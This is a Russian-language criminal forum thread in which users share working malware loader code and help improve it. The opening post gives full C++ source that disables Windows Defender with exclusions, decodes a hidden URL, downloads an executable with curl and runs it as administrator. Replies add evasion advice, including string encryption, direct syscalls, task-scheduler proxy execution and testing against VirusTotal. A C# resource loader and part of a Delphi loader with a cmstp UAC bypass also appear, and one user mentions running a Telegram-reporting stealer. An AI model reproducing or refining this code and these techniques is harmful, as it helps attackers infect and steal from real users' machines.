• XSS.stack #1 – первый литературный журнал от юзеров форума

Как модифицировать лоадер?

JOHR

HDD-drive
Пользователь
Регистрация
20.10.2024
Сообщения
44
Реакции
2
Вопрос озвучен в заголовке, ниже пример лоадера который использовал длительное время, изначально его вд даже не детектил, но спусят время начало детектить и решил отбросить этот вид лоадера. Cейчас решил доработать эту идею, какие техники можно применить для скрытия от ав? Либо иные модификации

C++:
#include <windows.h>
#include <iostream>
#include<TlHelp32.h>
#include <cstdlib>
#include <locale>
#include <codecvt>
#include<string>
#include <sstream>
#include <vector>

using namespace std;

bool RunAsAdmin(LPCWSTR programPath, LPCWSTR parameters) {
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"runas";
    sei.lpFile = programPath;
    sei.lpParameters = parameters;
    sei.hwnd = NULL;
    sei.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&sei)) {
        return false;
    }
    return true;
}
bool IsRunAsAdmin() {
    BOOL isAdmin = FALSE;
    PSID adminGroup = NULL;


    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (!AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &adminGroup)) {
        return false;
    }


    if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) {
        isAdmin = FALSE;
    }

    FreeSid(adminGroup);
    return isAdmin == TRUE;
}
void RestartAsAdmin() {
    wchar_t path[MAX_PATH];
    GetModuleFileNameW(NULL, path, MAX_PATH);

    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"runas";
    sei.lpFile = path;
    sei.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&sei)) {
        DWORD err = GetLastError();
        if (err == ERROR_CANCELLED) {

        }
    }
    exit(0);
}
std::wstring StringToWide(const std::string& str) {
    if (str.empty()) return L"";
    std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
    return converter.from_bytes(str);

}
bool ExecuteCommand(const std::string& command) {
    std::wstring wideCommand = StringToWide(command);

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;


    std::vector<wchar_t> cmdBuffer(wideCommand.begin(), wideCommand.end());
    cmdBuffer.push_back(L'\0');

    if (!CreateProcessW(
        NULL,
        cmdBuffer.data(),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi))
    {
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return (exitCode == 0);
}
std::string hex_to_bytes(const std::string& hex) {
    std::string bytes;
    std::istringstream iss(hex);
    unsigned int byte;
    while (iss >> std::hex >> byte) {
        bytes += static_cast<char>(byte);
    }
    return bytes;
}
std::string bytes_to_hex(const std::string& bytes) {
    std::ostringstream oss;
    for (unsigned char c : bytes) {
        oss << std::hex << (int)c << " ";
    }
    return oss.str();
}
std::string xor_crypt(const std::string& data, const std::string& key) {
    std::string result;
    for (size_t i = 0; i < data.size(); ++i) {
        result += data[i] ^ key[i % key.size()];
    }
    return result;
}

bool AddProcessToWD(const char* processName) {
    std::wstring wideProcessName(processName, processName + strlen(processName));
    std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + wideProcessName + L"'\"";

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(
        NULL,
        const_cast<wchar_t*>(command.c_str()),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return (exitCode == 0);
}
bool AddToDefenderExclusions(const std::wstring& path) {

    std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + path + L"'\"";


    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(
        NULL,
        const_cast<wchar_t*>(command.c_str()),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {

        return false;
    }


    WaitForSingleObject(pi.hProcess, INFINITE);


    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);


    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (exitCode != 0) {

        return false;
    }


    return true;
}
int main()
{
    if (!IsRunAsAdmin()) {
        RestartAsAdmin();
        return 1;
    }

    CreateDirectoryA("C:\\ProgramData\\Test", NULL);
    std::string key = "XORkey";

    std::string hex_data_url = "crypted link"; //сюда вставляется зашифрованная ссылка на скачивание файла
    std::string encrypted_bytes_url = hex_to_bytes(hex_data_url);
    std::string url = xor_crypt(encrypted_bytes_url, key);
    const char* command = "curl -o ";
    const char* outputPath = "C:\\ProgramData\\Test\\Test.exe";
    const std::string fullCommand = std::string(command) + outputPath + " " + url;
   

    const std::wstring path_to_main = L"C:\\ProgramData\\Test\\Test.exe";
    AddToDefenderExclusions(path_to_main);
    AddProcessToWD("Test.exe");
    Sleep(500);
    ExecuteCommand(fullCommand);
    RunAsAdmin(L"C:\\ProgramData\\Test\\Test.exe", L"");
    return 0;
}
 
Последнее редактирование:
Что это вообще за говно? Лоадер это минимальный код сосредоточенный на запуск и выполнение удаленного кода. За частую из стороннего процесса. Добавил себе строк в софт programdata, powershell, .exe, curl и думаешь это не будет палиться?
Я же озвучил что это палиться, поэтому задал вопрос что можно исправить
 
как минимум сделать вместо С++ - вставки кода на С или Ассемблере, генерация кода будет иная и иные смещения, но это не панацея, да как написано выше все пути старта надо криптануть, чтоб не так палевно было
 
Последнее редактирование:
Вопрос озвучен в заголовке, ниже пример лоадера который использовал длительное время, изначально его вд даже не детектил, но спусят время начало детектить и решил отбросить этот вид лоадера. Cейчас решил доработать эту идею, какие техники можно применить для скрытия от ав? Либо иные модификации

C++:
#include <windows.h>
#include <iostream>
#include<TlHelp32.h>
#include <cstdlib>
#include <locale>
#include <codecvt>
#include<string>
#include <sstream>
#include <vector>

using namespace std;

bool RunAsAdmin(LPCWSTR programPath, LPCWSTR parameters) {
    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"runas";
    sei.lpFile = programPath;
    sei.lpParameters = parameters;
    sei.hwnd = NULL;
    sei.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&sei)) {
        return false;
    }
    return true;
}
bool IsRunAsAdmin() {
    BOOL isAdmin = FALSE;
    PSID adminGroup = NULL;


    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (!AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &adminGroup)) {
        return false;
    }


    if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) {
        isAdmin = FALSE;
    }

    FreeSid(adminGroup);
    return isAdmin == TRUE;
}
void RestartAsAdmin() {
    wchar_t path[MAX_PATH];
    GetModuleFileNameW(NULL, path, MAX_PATH);

    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"runas";
    sei.lpFile = path;
    sei.nShow = SW_NORMAL;

    if (!ShellExecuteEx(&sei)) {
        DWORD err = GetLastError();
        if (err == ERROR_CANCELLED) {

        }
    }
    exit(0);
}
std::wstring StringToWide(const std::string& str) {
    if (str.empty()) return L"";
    std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
    return converter.from_bytes(str);

}
bool ExecuteCommand(const std::string& command) {
    std::wstring wideCommand = StringToWide(command);

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;


    std::vector<wchar_t> cmdBuffer(wideCommand.begin(), wideCommand.end());
    cmdBuffer.push_back(L'\0');

    if (!CreateProcessW(
        NULL,
        cmdBuffer.data(),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi))
    {
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return (exitCode == 0);
}
std::string hex_to_bytes(const std::string& hex) {
    std::string bytes;
    std::istringstream iss(hex);
    unsigned int byte;
    while (iss >> std::hex >> byte) {
        bytes += static_cast<char>(byte);
    }
    return bytes;
}
std::string bytes_to_hex(const std::string& bytes) {
    std::ostringstream oss;
    for (unsigned char c : bytes) {
        oss << std::hex << (int)c << " ";
    }
    return oss.str();
}
std::string xor_crypt(const std::string& data, const std::string& key) {
    std::string result;
    for (size_t i = 0; i < data.size(); ++i) {
        result += data[i] ^ key[i % key.size()];
    }
    return result;
}

bool AddProcessToWD(const char* processName) {
    std::wstring wideProcessName(processName, processName + strlen(processName));
    std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + wideProcessName + L"'\"";

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(
        NULL,
        const_cast<wchar_t*>(command.c_str()),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);

    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return (exitCode == 0);
}
bool AddToDefenderExclusions(const std::wstring& path) {

    std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + path + L"'\"";


    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcessW(
        NULL,
        const_cast<wchar_t*>(command.c_str()),
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    )) {

        return false;
    }


    WaitForSingleObject(pi.hProcess, INFINITE);


    DWORD exitCode;
    GetExitCodeProcess(pi.hProcess, &exitCode);


    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (exitCode != 0) {

        return false;
    }


    return true;
}
int main()
{
    if (!IsRunAsAdmin()) {
        RestartAsAdmin();
        return 1;
    }

    CreateDirectoryA("C:\\ProgramData\\Test", NULL);
    std::string key = "XORkey";

    std::string hex_data_url = "crypted link"; //сюда вставляется зашифрованная ссылка на скачивание файла
    std::string encrypted_bytes_url = hex_to_bytes(hex_data_url);
    std::string url = xor_crypt(encrypted_bytes_url, key);
    const char* command = "curl -o ";
    const char* outputPath = "C:\\ProgramData\\Test\\Test.exe";
    const std::string fullCommand = std::string(command) + outputPath + " " + url;
 

    const std::wstring path_to_main = L"C:\\ProgramData\\Test\\Test.exe";
    AddToDefenderExclusions(path_to_main);
    AddProcessToWD("Test.exe");
    Sleep(500);
    ExecuteCommand(fullCommand);
    RunAsAdmin(L"C:\\ProgramData\\Test\\Test.exe", L"");
    return 0;
}
Ищи возможности для выполнения мальвари в памяти или переписывай на другой язык(ав не любят очень с/с++) в таком виде будет мб хуже чем ориг мальварь, можешь попробовать еще переделать это все в dll, и запускать через белое приложение так клв детектов упадет
 
Бегло посмотрел код ТС.
Почитал что пишут люди.
Офигел немножно.

Задачу, поставленную ТС, можно решить пока утренний кофе еще горячий.

В-нулевых.
Не надо менять ЯП, на С++ можно спокойно "работать под АВ" как и на любом другом ЯП.

Во-первых.
Код поддается чистке и чистка эта не сложная.
Я бы убрал все лишнее из инклудов, стрингстримы, векторы и прочие локэйты.

Во-вторых.
Не надо лезть в эксцепшены к Дефендеру, обсуждалось не раз.

В-третьих.
Повершелл использовать можно (а иногда даже нужно), достаточно просто хорошо обфусцироваться.

В-четвертых.
Чтобы решить вопрос из предыдущего пункта нужно (вернее достаточно) просто пропустить все константы в коде через функцию xor_crypt из этого же кода. Вот прямо почти все, что красным выделенно пропускаем, кроме инклудов.
Было "C:\\ProgramData\\Test\\Test.exe", стало xor_crypt("нечитаемая на глаз билеберда", "secret_key");
И уже, практически, готово.

В-пятых.
Я бы убрал проверку на админа.
Такой способ иногда возвращает "админ" там где не "админ" вовсе.
Ну и реализация мягко говоря страдает.
Рекомендую проверять админа каким-нибудь другим способом, например по возможности открыть на запись что-то из HKLM.

В-шестых.
Очень много зависит от "свойств проекта", нужно пойти туда и сделать там все красиво.
Ловил я детект на проект вообще с пустым int main()
Почему? Потому что в свойствах была включена отладочная информация!
Linker -> Debugging -> Generate debug info
По умолчанию оно включено! А вместе с ним еще добрый десяток всяких "приколюх"

В-седьмых.
Самое важное.
Если отказаться от CreateProcessW то для антивирусов вы станете любимым бабушкиным внуком.
Как отказиться? Изпользовать запись на планировщик. Путь все запускает через 60 секунд планировщик, а не CreateProcessW.
 
Бегло посмотрел код ТС.
Почитал что пишут люди.
Офигел немножно.

Задачу, поставленную ТС, можно решить пока утренний кофе еще горячий.

В-нулевых.
Не надо менять ЯП, на С++ можно спокойно "работать под АВ" как и на любом другом ЯП.

Во-первых.
Код поддается чистке и чистка эта не сложная.
Я бы убрал все лишнее из инклудов, стрингстримы, векторы и прочие локэйты.

Во-вторых.
Не надо лезть в эксцепшены к Дефендеру, обсуждалось не раз.

В-третьих.
Повершелл использовать можно (а иногда даже нужно), достаточно просто хорошо обфусцироваться.

В-четвертых.
Чтобы решить вопрос из предыдущего пункта нужно (вернее достаточно) просто пропустить все константы в коде через функцию xor_crypt из этого же кода. Вот прямо почти все, что красным выделенно пропускаем, кроме инклудов.
Было "C:\\ProgramData\\Test\\Test.exe", стало xor_crypt("нечитаемая на глаз билеберда", "secret_key");
И уже, практически, готово.

В-пятых.
Я бы убрал проверку на админа.
Такой способ иногда возвращает "админ" там где не "админ" вовсе.
Ну и реализация мягко говоря страдает.
Рекомендую проверять админа каким-нибудь другим способом, например по возможности открыть на запись что-то из HKLM.

В-шестых.
Очень много зависит от "свойств проекта", нужно пойти туда и сделать там все красиво.
Ловил я детект на проект вообще с пустым int main()
Почему? Потому что в свойствах была включена отладочная информация!
Linker -> Debugging -> Generate debug info
По умолчанию оно включено! А вместе с ним еще добрый десяток всяких "приколюх"

В-седьмых.
Самое важное.
Если отказаться от CreateProcessW то для антивирусов вы станете любимым бабушкиным внуком.
Как отказиться? Изпользовать запись на планировщик. Путь все запускает через 60 секунд планировщик, а не CreateProcessW.
Так а смотри, как спрятать полезную нагрузку без исключений wd?
Он же ее скачает на диск и она поймает детект
 
Советую убрать crt,stl,зашифруй строки с помощью xor или aes(можно сделать собственную реализацию, или использовать аналоги),замени CreateProcessW к примеру на Nt, так же можно использовать syscalls(отличный вариант но с нюансами - номера SSN разные на Win7, Win10, Win11, и даже между билдами хотя можешь попробовать сделать динамическое определение при запуске).
 
Если отказаться от CreateProcessW то для антивирусов вы станете любимым бабушкиным внуком.
Как отказиться? Изпользовать запись на планировщик. Путь все запускает через 60 секунд планировщик, а не CreateProcessW.
А что за "запись на планировщик"? Что это такое?
 
Что это вообще за говно? Лоадер это минимальный код сосредоточенный на запуск и выполнение удаленного кода. За частую из стороннего процесса. Добавил себе строк в софт programdata, powershell, .exe, curl и думаешь это не будет палиться?
А слабо показать как надо? Давай Винс, покажи соплякам как надо, а мы посмотрим как делают настоящие бати.
 
А что за "запись на планировщик"? Что это такое?
Просто задачу создать ее выполнить и удалить (один с видов proxy execution ) используется для того чтобы снять рантайм детекты но глобально картину это не поменяет
 
У меня получалось байпасить wd (включая клауд), без предупреждений и прочей дряни. Писал на дотнете. Вместо того что бы прописывать ключ xor, или aes, можешь попробовать реализовать брут ключа в ране, но для этого нужно накидать енкриптер. Постараться по максимуму использовать Nt и LdrLoadDll. Можешь держать все стринг в байтах, накидай метод, который в ране сможет работать со стринг в байтах.
Вот мой пример из моей утилизации:
C#:
using System;
using System.IO;
using System.Reflection;
using System.Text;

public class ResourceLoader
{
    private static readonly byte[] SYSTEM_RESOURCE_BYTES = {
        0x54, 0x65, 0x73, 0x74, 0x2E, 0x52, 0x65, 0x73,
        0x6F, 0x75, 0x72, 0x63, 0x65, 0x73, 0x2E, 0x48,
        0x65, 0x6C, 0x6C, 0x6F, 0x58, 0x73, 0x73, 0x2E,
        0x62, 0x69, 0x6E
    };

    private static string GetStringFromBytes(byte[] bytes)
    {
        return Encoding.ASCII.GetString(bytes);
    }

    private static byte[] LoadSystemResource(string resourcePath)
    {
        var assembly = Assembly.GetExecutingAssembly();
        using (Stream stream = assembly.GetManifestResourceStream(GetStringFromBytes(SYSTEM_RESOURCE_BYTES)))
        using (MemoryStream ms = new MemoryStream())
        {
            stream.CopyTo(ms);
            return ms.ToArray();
        }
    }
}
Апрувчик:
Orcus.Administration_okvOfOsVz2.png
 
Это в принципе нельзя назвать лоадером, это скорее дроппер, задача которого уронить и открыть файл с диска. Не думаю что у ТС'а как и у 99.97% тех кто делает какой-либо трафик есть какие-то особые требования к софту, обусловленные той средой где он выполняется, а учитывая что мы живем не во времена ADSL-модемов, можно без проблем брать что-то интерпретируемое и похер на вес в 70 мегабайт на выходе. Обфусцировать и получать себе бесконечное количество билдов без необходимости что-то чистить. Берите с конкурсной статьи змеиную пирамиду и в бой :)
 
У меня получалось байпасить wd (включая клауд), без предупреждений и прочей дряни. Писал на дотнете. Вместо того что бы прописывать ключ xor, или aes, можешь попробовать реализовать брут ключа в ране, но для этого нужно накидать енкриптер. Постараться по максимуму использовать Nt и LdrLoadDll. Можешь держать все стринг в байтах, накидай метод, который в ране сможет работать со стринг в байтах.
Вот мой пример из моей утилизации:
C#:
using System;
using System.IO;
using System.Reflection;
using System.Text;

public class ResourceLoader
{
    private static readonly byte[] SYSTEM_RESOURCE_BYTES = {
        0x54, 0x65, 0x73, 0x74, 0x2E, 0x52, 0x65, 0x73,
        0x6F, 0x75, 0x72, 0x63, 0x65, 0x73, 0x2E, 0x48,
        0x65, 0x6C, 0x6C, 0x6F, 0x58, 0x73, 0x73, 0x2E,
        0x62, 0x69, 0x6E
    };

    private static string GetStringFromBytes(byte[] bytes)
    {
        return Encoding.ASCII.GetString(bytes);
    }

    private static byte[] LoadSystemResource(string resourcePath)
    {
        var assembly = Assembly.GetExecutingAssembly();
        using (Stream stream = assembly.GetManifestResourceStream(GetStringFromBytes(SYSTEM_RESOURCE_BYTES)))
        using (MemoryStream ms = new MemoryStream())
        {
            stream.CopyTo(ms);
            return ms.ToArray();
        }
    }
}
Апрувчик:
Посмотреть вложение 107987
Брут ключа, вспомнил прослезился, когда только начинал криптовать сам когда эта идея мне пришла в голову - казалось гениальным :D
Трава тогда зеленее была и виртуалки не такие мощные, они не могли сбрутить.

Но вот за эти байты по голове мне кажется должны тебе дать в настоящих реалиях. Могу сказать что WD эта такая мерзкая штука, она начала как VAC работать, иногда он выпаливает тачки где тестят малварь и начинает бесоебить и пропускать, в то время как на реальных тачках жестко ебет.

Поэтому тут даже навыки немного из кардинга пригодились, когда берешь железо настольное, чтобы без WIFI, вешаешь резидентский носок на роутер, цепляешь по кабелю, заранее нужную таймзону все дела, язык и т.п., последний оригинальный дистрибутив. Ставишь какого-нибудь софта по типу пару браузеров, немного потыкал и потом уже обязательно из интернета качаешь, чтобы сразу файл через хром и в их облако тоже улетел, и в WD. А если файл облако не может пережить, то это печально.

В современных реалиях я бы сказал что файл должен устойчиво и стабильно переживать даже слив на VT.

Но вот чисто если даже теоретически поразмыслить, мне кажется такая каша с байтами очень сильно отличается от типичной программы на шарпах, и ее поведение и внешний вид. Большой вопрос тут в чистоте, особенно на антивирусах :)

Ну чисто как демонстрация, да, это гораздо лучше чем то что автор показал, ему я думаю как раз надо в эту степь копать, пусть изучает 😁
 
Брут ключа, вспомнил прослезился, когда только начинал криптовать сам когда эта идея мне пришла в голову - казалось гениальным :D
Трава тогда зеленее была и виртуалки не такие мощные, они не могли сбрутить.

Но вот за эти байты по голове мне кажется должны тебе дать в настоящих реалиях. Могу сказать что WD эта такая мерзкая штука, она начала как VAC работать, иногда он выпаливает тачки где тестят малварь и начинает бесоебить и пропускать, в то время как на реальных тачках жестко ебет.

Поэтому тут даже навыки немного из кардинга пригодились, когда берешь железо настольное, чтобы без WIFI, вешаешь резидентский носок на роутер, цепляешь по кабелю, заранее нужную таймзону все дела, язык и т.п., последний оригинальный дистрибутив. Ставишь какого-нибудь софта по типу пару браузеров, немного потыкал и потом уже обязательно из интернета качаешь, чтобы сразу файл через хром и в их облако тоже улетел, и в WD. А если файл облако не может пережить, то это печально.

В современных реалиях я бы сказал что файл должен устойчиво и стабильно переживать даже слив на VT.

Но вот чисто если даже теоретически поразмыслить, мне кажется такая каша с байтами очень сильно отличается от типичной программы на шарпах, и ее поведение и внешний вид. Большой вопрос тут в чистоте, особенно на антивирусах :)

Ну чисто как демонстрация, да, это гораздо лучше чем то что автор показал, ему я думаю как раз надо в эту степь копать, пусть изучает 😁
Реагировать брут ключа в ране, мне подсказал мой друг, который уже долгое время занимается криптами. На коленки, через литры слёз смог реализовать) А вот от нынешних вмок есть другие способы защиты, если постараться, то можно байпаснуть тачки вт.

Вот что у вд есть такая тема, слышу впервые. И меня это теперь ужасает) Тем более когда накрыли avcheck, бог его знает, как проверять файлы. Остался только сканер.то, и то он работает раз через раз.

Отсебятина:
Думаю, как сессию закрою, по новой сесть изучать тему криптов, уже накидан лёгкий стиллер (клиент и сервер сайды, отстук в тг с сервер сайда), есть нормальный трафик и верный друг на отработке. Единственное, пока использую покупной крипт, алсо мой сдох после одного слива на вт. И для меня остаётся загадкой, как можно сделать так, что бы выходной файл переживал слив на вт. Для меня особняком стоит вопрос. Как грамотно работать с памятью на дотнете и прочие детали. Думаю раз через раз, буду возникать в тредах, набираться теории. А так, спасибо за ответ ❤️
UPD:
До этого я по большей части только читал статьи и впитывал информацию, благодаря которой я и написал свой первый ручной крипт) Только недавно решил активничать в тредах. Алсо жизнь заебла, в интернете веселее)
 
Последнее редактирование:
Попробуй его, говнокод конечно но детекта вроде как нет
Delphi x64 загрузчик, 73 байта, UAC bypass через cmstp

Project1.dpr
Код:
program Project1;

{$APPTYPE GUI}

uses SourceCode;

const
  //SeDebugPrivilege
  hSDP:Array[0..15] of string=('53','65','44','65','62','75','67','50','72','69','76','69','6C','65','67','65');
var
  sdp: string;
begin
  STime(3000); // ожидаем 3 секунды
  sdp := string(HexArrToStr(hSDP)); // SeDebugPrivilege
  // если нет привилегий админа то подымаемся через cmstp
  if not PrV(True, sdp) then
    ExMainBypass(ParamStr(0))
  else ExMain(1000);
end.

SourceCode.pas
Код:
unit SourceCode;

interface

uses UsAccCtr;

const
  PM_REMOVE = 1;
  ERROR_SUCCESS = 0;
  TOKEN_ADJUST_PRIVILEGES = $0020;

type
  {$NODEFINE TLargeInteger}
  TLargeInteger = Int64;
  {$ALIGN 4}
  PLUIDAndAttributes = ^TLUIDAndAttributes;
  _LUID_AND_ATTRIBUTES = record
    Luid: TLargeInteger;
    Attributes: DWORD;
  end;
  {$EXTERNALSYM _LUID_AND_ATTRIBUTES}
  TLUIDAndAttributes = _LUID_AND_ATTRIBUTES;
  LUID_AND_ATTRIBUTES = _LUID_AND_ATTRIBUTES;
  {$EXTERNALSYM LUID_AND_ATTRIBUTES}
  PTokenPrivileges = ^TTokenPrivileges;
  _TOKEN_PRIVILEGES = record
    PrivilegeCount: DWORD;
    Privileges: array[0..0] of TLUIDAndAttributes;
  end;
  {$EXTERNALSYM _TOKEN_PRIVILEGES}
  TTokenPrivileges = _TOKEN_PRIVILEGES;
  TOKEN_PRIVILEGES = _TOKEN_PRIVILEGES;
  {$EXTERNALSYM TOKEN_PRIVILEGES}
  TPoint = record
    X: Longint;
    Y: Longint;
  end;
{ Message structure }
  PMsg = ^TMsg;
  tagMSG = record
    hwnd: HWND;
    message: UINT;
    wParam: WPARAM;
    lParam: LPARAM;
    time: DWORD;
    pt: TPoint;
  end;
  {$EXTERNALSYM tagMSG}
  TMsg = tagMSG;
  MSG = tagMSG;
  {$EXTERNALSYM MSG}
  // In order to avoid ambiguity with Qt::tagMsg,
  // we'll emit PMsg and TMsg manually
  {$NODEFINE TMsg}
  {$NODEFINE PMsg}
  (*$HPPEMIT 'namespace Winapi {' *)
  (*$HPPEMIT 'namespace Windows {' *)
  (*$HPPEMIT '  typedef ::tagMSG *PMsg;' *)
  (*$HPPEMIT '  typedef ::tagMSG TMsg;'  *)
  (*$HPPEMIT '}' *)
  (*$HPPEMIT '}' *)

function AdjustTokenPrivileges(TokenHandle: THandle; DisableAllPrivileges: BOOL;
  const NewState: TTokenPrivileges; BufferLength: DWORD;
  var PreviousState: TTokenPrivileges; var ReturnLength: DWORD): BOOL; stdcall; overload;
{$EXTERNALSYM AdjustTokenPrivileges}
function AdjustTokenPrivileges(TokenHandle: THandle; DisableAllPrivileges: BOOL;
  const NewState: TTokenPrivileges; BufferLength: DWORD;
  PreviousState: PTokenPrivileges; var ReturnLength: DWORD): BOOL; stdcall; overload;
{$EXTERNALSYM AdjustTokenPrivileges}

procedure ExMain(i: Integer);
procedure STime(t: Integer);
function PrV(const Value: Boolean; privilegename: string): Boolean;
function HexArrToStr(const hexarr:array of string): Ansistring;
procedure ExMainBypass(FileName: string);
procedure ExitProcess(uExitCode: UINT); stdcall;

implementation

procedure ExitProcess; external kr32 name exp;

function PeekMessage(var lpMsg: TMsg; hWnd: HWND;
  wMsgFilterMin, wMsgFilterMax, wRemoveMsg: UINT): BOOL; stdcall;
external usr32 name P;

function TranslateMessage(const lpMsg: TMsg): BOOL; stdcall;
external usr32 name Q;

function DispatchMessage(const lpMsg: TMsg): Longint; stdcall;
external usr32 name R;

procedure Sleep(dwMilliseconds: DWORD); stdcall;
external kr32 name S;

function OpenProcessToken(ProcessHandle: THandle; DesiredAccess: DWORD;
  var TokenHandle: THandle): BOOL; stdcall;
external adv32 name T;

function GetCurrentProcess: THandle; stdcall;
external kr32 name U;

function LookupPrivilegeValue(lpSystemName, lpName: LPCWSTR;
  var lpLuid: TLargeInteger): BOOL; stdcall;
external adv32 name V;

function CloseHandle(hObject: THandle): BOOL; stdcall;
external kr32 name W;

function AdjustTokenPrivileges(TokenHandle: THandle; DisableAllPrivileges: BOOL;
  const NewState: TTokenPrivileges; BufferLength: DWORD;
  var PreviousState: TTokenPrivileges; var ReturnLength: DWORD): BOOL;
external adv32 name X;
function AdjustTokenPrivileges(TokenHandle: THandle; DisableAllPrivileges: BOOL;
  const NewState: TTokenPrivileges; BufferLength: DWORD;
  PreviousState: PTokenPrivileges; var ReturnLength: DWORD): BOOL;
external adv32 name X;

function GenerateRandomWord(LengthOfWord: Integer): string;
const
  Alphabet = 'abcdefghijklmnopqrstuvwxyz';
var
  I: Integer;
begin
  Randomize;
  Result := '';
  for I := 1 to LengthOfWord do
    Result := Result + Alphabet[Random(Length(Alphabet)) + 1];
end;

function ReverseString(const Input: string): string;
var
  i: Integer;
begin
  Result := '';
  for i := Length(Input) downto 1 do
    Result := Result + Input[i];
end;

procedure ProcessMessage(i: integer);
var
  Msg: TMsg;
begin
  if PeekMessage(msg, i, i, i, PM_REMOVE) then
  begin
    TranslateMessage(msg);
    DispatchMessage(msg);
  end;
end;

procedure STime(t: Integer);
var
 i, j, intw: Integer;

begin
  intw := 0;
  i := 1;
  j := 0;
  while intw < t  do
  begin
   inc(intw);
   Sleep(i);
   ProcessMessage(j);
  end;
end;

function PrV(const Value: Boolean; privilegename: string): Boolean;
var
  hToken: THandle;
  tp: TOKEN_PRIVILEGES;
  d: DWORD;
begin
  Result := False;
  if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) then
  begin
    tp.PrivilegeCount := 1;
    LookupPrivilegeValue(nil, PChar(privilegename), tp.Privileges[0].Luid);
    if Value then tp.Privileges[0].Attributes := AA
    else tp.Privileges[0].Attributes := BB;
    AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d);
    if GetLastError = ERROR_SUCCESS then
    begin
      Result := True;
    end;
    CloseHandle(hToken);
  end;
end;

function STI(const S: string): Integer;
var
  E: Integer;
begin
  Val(S, Result,E);
end;

function HexToStr(hex: Ansistring): Ansistring;
var
  i: Integer;
begin
  for i:= 1 to Length(hex) div 2 do
  begin
    Result:= Result + AnsiChar(STI('$' +  String(Copy(hex, (i-1) * 2 + 1, 2)) ));
  end;
end;

function HexArrToStr(const hexarr:array of string): Ansistring;
var
  i:Integer;
begin
  for i:= 0 to Length(hexarr)-1 do
  begin
    Result := HexToStr(AnsiString(hexarr[i]));
  end;
end;

procedure ExMainBypass(FileName: string);
begin
  PrvUp(FileName); // повышаемся до админа
end;

procedure ExMainC(i: integer);
const
  // http://localhost:7777/PNG.php?a=0
  hURL:Array[0..32] of string=('68','74','74','70','3A','2F','2F','6C','6F',
  '63','61','6C','68','6F','73','74','3A','37','37','37','37','2F','50','4E',
  '47','2E','70','68','70','3F','61','3D','30');
  // %WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe
  hPOW:Array[0..54] of string=('25','57','49','4E','44','49','52','25','5C',
  '53','79','73','74','65','6D','33','32','5C','57','69','6E','64','6F','77',
  '73','50','6F','77','65','72','53','68','65','6C','6C','5C','76','31','2E',
  '30','5C','70','6F','77','65','72','73','68','65','6C','6C','2E','65',
  '78','65');
  //  -w Mi -C
  hPR:Array[0..8] of string=('2D','77','20','4D','69','20','2D','43','20');
  // "$
  hX:Array[0..1] of string=('22','24');
  // ='
